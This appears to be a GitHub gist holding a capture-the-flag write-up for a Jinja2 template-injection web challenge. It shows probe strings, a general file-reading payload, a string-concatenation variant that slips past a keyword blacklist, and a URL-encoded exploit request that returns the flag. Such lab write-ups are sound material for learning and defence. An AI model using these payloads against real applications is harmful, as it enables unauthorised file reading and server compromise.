Skip to content

Instantly share code, notes, and snippets.

@aadityapurani
Last active April 8, 2018 17:10
Show Gist options
  • Save aadityapurani/bbbf80b68cbbcc3fbe854bf6fa3133bc to your computer and use it in GitHub Desktop.
Save aadityapurani/bbbf80b68cbbcc3fbe854bf6fa3133bc to your computer and use it in GitHub Desktop.

Revisions

  1. aadityapurani revised this gist Apr 8, 2018. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -1,10 +1,10 @@
    # Jinja 2 RCE
    # Hard_To_Hack (Web 400) - BBCTF2018

    Test Condition: `{{'7'*7}}`
    Config : `{{config}}`
    Request not blocked : `{{request}}`

    After successive tries, figured out class keyword was blacklisted and so did many important. But we can use + to concat two strings and use it.
    After successive tries, figured out class keyword was blacklisted and so did many important keywords. But we can use + to concat two strings and use it.

    General file reading payload for Jinja2 is
    ```{{ ''.__class__.__mro__[2].__subclasses__()[40]('flag', 'r').read() }}```
  2. aadityapurani created this gist Apr 8, 2018.
    21 changes: 21 additions & 0 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,21 @@
    # Jinja 2 RCE

    Test Condition: `{{'7'*7}}`
    Config : `{{config}}`
    Request not blocked : `{{request}}`

    After successive tries, figured out class keyword was blacklisted and so did many important. But we can use + to concat two strings and use it.

    General file reading payload for Jinja2 is
    ```{{ ''.__class__.__mro__[2].__subclasses__()[40]('flag', 'r').read() }}```

    But some keywords were blocked. So split and profit

    ```{{''['__cla'+'ss__']['__mr'+'o__'][2]['__subcla'+'sses__']()[40]('fl'+'ag', 'r').read()}}```

    This acts same as the above payload due to the property access (http://jinja.pocoo.org/docs/2.10/templates/)

    Hence, you send it after URL encoding
    http://web.euristica.in/hard_to_hack/index?data=%7B%7B%27%27%5B%27__cla%27%2B%27ss__%27%5D%5B%27__mr%27%2B%27o__%27%5D%5B2%5D%5B%27__subcla%27%2B%27sses__%27%5D()%5B40%5D(%27fl%27%2B%27ag%27%2C%20%27r%27).read()%7D%7D

    flag{BlackListing_N3Ver_H3lp3d_An40ne}